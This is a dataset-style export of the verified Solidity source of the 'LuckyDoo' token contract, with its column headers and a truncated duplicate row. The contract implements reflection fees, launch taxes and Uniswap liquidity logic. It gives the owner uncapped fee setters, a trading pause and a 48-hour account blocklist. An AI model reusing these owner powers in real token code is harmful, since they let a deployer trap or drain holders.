contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool public isTradingEnabled; uint256 private _tradingPausedTimestamp; // max wallet is 2.0% of initialSupply uint256 public maxWalletAmount = _tTotal * 200 / 10000; // max tx is 0.53% of initialSupply uint256 public maxTxAmount = _tTotal * 530 / 100000; bool private _swapping; // max wallet is 0.025% of initialSupply uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000; address private dead = 0x000000000000000000000000000000000000dEaD; address public liquidityWallet; address public marketingWallet; address public devWallet; address public buyBackWallet; struct CustomTaxPeriod { bytes23 periodName; uint8 blocksInPeriod; uint256 timeInPeriod; uint8 liquidityFeeOnBuy; uint8 liquidityFeeOnSell; uint8 marketingFeeOnBuy; uint8 marketingFeeOnSell; uint8 devFeeOnBuy; uint8 devFeeOnSell; uint8 buyBackFeeOnBuy; uint8 buyBackFeeOnSell; uint8 holdersFeeOnBuy; uint8 holdersFeeOnSell; } // Launch taxes bool private _isLaunched; uint256 private _launchStartTimestamp; uint256 private _launchBlockNumber; CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2); CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5); CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4); // Base taxes CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2); CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2); uint256 private constant _blockedTimeLimit = 172800; mapping (address => bool) private _isAllowedToTradeWhenDisabled; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletLimit; mapping (address => bool) private _isExcludedFromMaxTransactionLimit; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _isBlocked; mapping (address => bool) public automatedMarketMakerPairs; address[] private _excludedFromDividends; uint8 private _liquidityFee; uint8 private _devFee; uint8 private _marketingFee; uint8 private _buyBackFee; uint8 private _holdersFee; uint8 private _totalFee; event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value); event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress); event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet); event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee); event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period); event BlockedAccountChange(address indexed holder, bool indexed status); event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event ExcludeFromFeesChange(address indexed account, bool isExcluded); event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded); event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded); event ExcludeFromDividendsChange(address indexed account, bool isExcluded); event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded); event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity); event ClaimETHOverflow(uint256 amount); event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee); constructor() { liquidityWallet = owner(); marketingWallet = owner(); devWallet = owner(); buyBackWallet = owner(); IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; excludeFromDividends(address(this), true); excludeFromDividends(address(dead), true); excludeFromDividends(address(_uniswapV2Router), true); _isAllowedToTradeWhenDisabled[owner()] = true; _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true; _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true; _isExcludedFromMaxWalletLimit[address(this)] = true; _isExcludedFromMaxWalletLimit[owner()] = true; _isExcludedFromMaxTransactionLimit[address(this)] = true; _isExcludedFromMaxTransactionLimit[address(dead)] = true; _isExcludedFromMaxTransactionLimit[owner()] = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} // Setters function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){ _approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero")); return true; } function _approve(address owner,address spender,uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getNow() private view returns (uint256) { return block.timestamp; } function launch() external onlyOwner { _launchStartTimestamp = _getNow(); _launchBlockNumber = block.number; isTradingEnabled = true; _isLaunched = true; } function cancelLaunch() external onlyOwner { require(this.isInLaunch(), "LuckyDooToken: Launch is not set"); _launchStartTimestamp = 0; _launchBlockNumber = 0; _isLaunched = false; } function activateTrading() external onlyOwner { isTradingEnabled = true; } function deactivateTrading() external onlyOwner { isTradingEnabled = false; _tradingPausedTimestamp = _getNow(); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit AutomatedMarketMakerPairChange(pair, value); } function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner { _isAllowedToTradeWhenDisabled[account] = allowed; emit AllowedWhenTradingDisabledChange(account, allowed); } function excludeFromFees(address account, bool excluded) external onlyOwner { require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromFee[account] = excluded; emit ExcludeFromFeesChange(account, excluded); } function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxWalletLimit[account] = excluded; emit ExcludeFromMaxWalletChange(account, excluded); } function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxTransactionLimit[account] = excluded; emit ExcludeFromMaxTransferChange(account, excluded); } function blockAccount(address account) external onlyOwner { uint256 currentTimestamp = _getNow(); require(!_isBlocked[account], "LuckyDooToken: Account is already blocked"); if (_isLaunched) { require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired"); } _isBlocked[account] = true; emit BlockedAccountChange(account, true); } function unblockAccount(address account) external onlyOwner { require(_isBlocked[account], "LuckyDooToken: Account is not blcoked"); _isBlocked[account] = false; emit BlockedAccountChange(account, false); } function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner { if(liquidityWallet != newLiquidityWallet) { require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0"); emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet); liquidityWallet = newLiquidityWallet; } if(devWallet != newDevWallet) { require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0"); emit WalletChange('devWallet', newDevWallet, devWallet); devWallet = newDevWallet; } if(marketingWallet != newMarketingWallet) { require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0"); emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } if(buyBackWallet != newBuyBackWallett) { require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0"); emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet); buyBackWallet = newBuyBackWallett; } } // Base fees function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch2 Fees function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch3 Fees function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } function setMaxWalletAmount(uint256 newValue) external onlyOwner { require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value"); emit MaxWalletAmountChange(newValue, maxWalletAmount); maxWalletAmount = newValue; } function setMaxTransactionAmount(uint256 newValue) external onlyOwner { require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value"); emit MaxTransactionAmountChange(newValue, maxTxAmount); maxTxAmount = newValue; } function excludeFromDividends(address account, bool excluded) public onlyOwner { require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); if(excluded) { if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromDividends[account] = excluded; _excludedFromDividends.push(account); } else { for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if (_excludedFromDividends[i] == account) { _excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1]; _tOwned[account] = 0; _isExcludedFromDividends[account] = false; _excludedFromDividends.pop(); break; } } } emit ExcludeFromDividendsChange(account, excluded); } function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner { require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value"); emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap); minimumTokensBeforeSwap = newValue; } function claimETHOverflow() external onlyOwner { require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance"); uint256 amount = address(this).balance; (bool success,) = address(owner()).call{value : amount}(""); if (success){ emit ClaimETHOverflow(amount); } } // Getters function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view virtual returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromDividends[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function totalFees() external view returns (uint256) { return _tFeeTotal; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function isInLaunch() external view returns (bool) { uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod; if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) { return true; } else { return false; } } function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy); } function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 rAmount = tAmount * currentRate; if (!deductTransferFee) { return rAmount; } else { uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate; uint256 rTransferAmount = rAmount - rTotalFee; return rTransferAmount; } } // Main function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance"); bool isBuyFromLp = automatedMarketMakerPairs[from]; bool isSelltoLp = automatedMarketMakerPairs[to]; bool _isInLaunch = this.isInLaunch(); if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled."); require(!_isBlocked[to], "LuckyDooToken: Account is blocked"); require(!_isBlocked[from], "LuckyDooToken: Account is blocked"); if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) { require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount."); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount."); } } _adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch); bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap; if ( isTradingEnabled && canSwap && !_swapping && _totalFee > 0 && automatedMarketMakerPairs[to] && from != liquidityWallet && to != liquidityWallet && from != devWallet && to != devWallet && from != marketingWallet && to != marketingWallet && from != buyBackWallet && to != buyBackWallet ) { _swapping = true; _swapAndLiquify(); _swapping = false; } bool takeFee = !_swapping && isTradingEnabled; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private { (uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate()); if (_isExcludedFromDividends[sender]) { _tOwned[sender] = _tOwned[sender] - tAmount; } if (_isExcludedFromDividends[recipient]) { _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; } _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeContractFees(rOther, tOther); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal -= rFee; _tFeeTotal += tFee; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){ if (!takeFee) { return (tAmount, 0, 0); } else { uint256 tFee = tAmount * _holdersFee / 100; uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100; uint256 tTransferAmount = tAmount - (tFee + tOther); return (tTransferAmount, tFee, tOther); } } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tOther, uint256 currentRate ) private pure returns ( uint256, uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rOther = tOther * currentRate; uint256 rTransferAmount = rAmount - (rFee + rOther); return (rAmount, rTransferAmount, rFee, rOther); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if ( _rOwned[_excludedFromDividends[i]] > rSupply || _tOwned[_excludedFromDividends[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excludedFromDividends[i]]; tSupply = tSupply - _tOwned[_excludedFromDividends[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeContractFees(uint256 rOther, uint256 tOther) private { if (_isExcludedFromDividends[address(this)]) { _tOwned[address(this)] += tOther; } _rOwned[address(this)] += rOther; } function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private { uint256 blocksSinceLaunch = block.number - _launchBlockNumber; uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp; _liquidityFee = 0; _devFee = 0; _marketingFee = 0; _buyBackFee = 0; _holdersFee = 0; if (isBuyFromLp) { _liquidityFee = _base.liquidityFeeOnBuy; _devFee = _base.devFeeOnBuy; _marketingFee = _base.marketingFeeOnBuy; _buyBackFee = _base.buyBackFeeOnBuy; _holdersFee = _base.holdersFeeOnBuy; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnBuy; _devFee = _launch1.devFeeOnBuy; _marketingFee = _launch1.marketingFeeOnBuy; _buyBackFee = _launch1.buyBackFeeOnBuy; _holdersFee = _launch1.holdersFeeOnBuy; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnBuy; _devFee = _launch2.devFeeOnBuy; _marketingFee = _launch2.marketingFeeOnBuy; _buyBackFee = _launch2.buyBackFeeOnBuy; _holdersFee = _launch2.holdersFeeOnBuy; } else { _liquidityFee = _launch3.liquidityFeeOnBuy; _devFee = _launch3.devFeeOnBuy; _marketingFee = _launch3.marketingFeeOnBuy; _buyBackFee = _launch3.buyBackFeeOnBuy; _holdersFee = _launch3.holdersFeeOnBuy; } } } if (isSelltoLp) { _liquidityFee = _base.liquidityFeeOnSell; _devFee = _base.devFeeOnSell; _marketingFee = _base.marketingFeeOnSell; _buyBackFee = _base.buyBackFeeOnSell; _holdersFee = _base.holdersFeeOnSell; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnSell; _devFee = _launch1.devFeeOnSell; _marketingFee = _launch1.marketingFeeOnSell; _buyBackFee = _launch1.buyBackFeeOnSell; _holdersFee = _launch1.holdersFeeOnSell; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnSell; _devFee = _launch2.devFeeOnSell; _marketingFee = _launch2.marketingFeeOnSell; _buyBackFee = _launch2.buyBackFeeOnSell; _holdersFee = _launch2.holdersFeeOnSell; } else { _liquidityFee = _launch3.liquidityFeeOnSell; _devFee = _launch3.devFeeOnSell; _marketingFee = _launch3.marketingFeeOnSell; _buyBackFee = _launch3.buyBackFeeOnSell; _holdersFee = _launch3.holdersFeeOnSell; } } } _totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee; emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee); } function _setCustomSellTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell ) private { if (map.liquidityFeeOnSell != _liquidityFeeOnSell) { emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName); map.liquidityFeeOnSell = _liquidityFeeOnSell; } if (map.marketingFeeOnSell != _marketingFeeOnSell) { emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName); map.marketingFeeOnSell = _marketingFeeOnSell; } if (map.devFeeOnSell != _devFeeOnSell) { emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName); map.devFeeOnSell = _devFeeOnSell; } if (map.buyBackFeeOnSell != _buyBackFeeOnSell) { emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName); map.buyBackFeeOnSell = _buyBackFeeOnSell; } if (map.holdersFeeOnSell != _holdersFeeOnSell) { emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName); map.holdersFeeOnSell = _holdersFeeOnSell; } } function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy ) private { if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) { emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName); map.liquidityFeeOnBuy = _liquidityFeeOnBuy; } if (map.marketingFeeOnBuy != _marketingFeeOnBuy) { emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName); map.marketingFeeOnBuy = _marketingFeeOnBuy; } if (map.devFeeOnBuy != _devFeeOnBuy) { emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName); map.devFeeOnBuy = _devFeeOnBuy; } if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) { emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName); map.buyBackFeeOnBuy = _buyBackFeeOnBuy; } if (map.holdersFeeOnBuy != _holdersFeeOnBuy) { emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName); map.holdersFeeOnBuy = _holdersFeeOnBuy; } } function _swapAndLiquify() private { uint256 contractBalance = balanceOf(address(this)); uint256 initialETHBalance = address(this).balance; uint8 totalFeePrior = _totalFee; uint8 liquidityFeePrior = _liquidityFee; uint8 marketingFeePrior = _marketingFee; uint8 devFeePrior = _devFee; uint8 buyBackFeePrior = _buyBackFee; uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2; uint256 amountToSwapForETH = contractBalance - amountToLiquify; _swapTokensForETH(amountToSwapForETH); uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance; uint256 totalETHFee = _totalFee - (_liquidityFee / 2); uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2; uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee; uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee; uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack); payable(marketingWallet).transfer(amountETHMarketing); payable(devWallet).transfer(amountETHDev); payable(buyBackWallet).transfer(amountETHBuyBack); if (amountToLiquify > 0) { _addLiquidity(amountToLiquify, amountETHLiquidity); emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify); } _totalFee = totalFeePrior; _liquidityFee = liquidityFeePrior; _marketingFee = marketingFeePrior; _devFee = devFeePrior; _buyBackFee = buyBackFeePrior; } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityWallet, block.timestamp ); } }
transfer
function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
// Setters
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 5870, 6026 ] }
1,307
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool public isTradingEnabled; uint256 private _tradingPausedTimestamp; // max wallet is 2.0% of initialSupply uint256 public maxWalletAmount = _tTotal * 200 / 10000; // max tx is 0.53% of initialSupply uint256 public maxTxAmount = _tTotal * 530 / 100000; bool private _swapping; // max wallet is 0.025% of initialSupply uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000; address private dead = 0x000000000000000000000000000000000000dEaD; address public liquidityWallet; address public marketingWallet; address public devWallet; address public buyBackWallet; struct CustomTaxPeriod { bytes23 periodName; uint8 blocksInPeriod; uint256 timeInPeriod; uint8 liquidityFeeOnBuy; uint8 liquidityFeeOnSell; uint8 marketingFeeOnBuy; uint8 marketingFeeOnSell; uint8 devFeeOnBuy; uint8 devFeeOnSell; uint8 buyBackFeeOnBuy; uint8 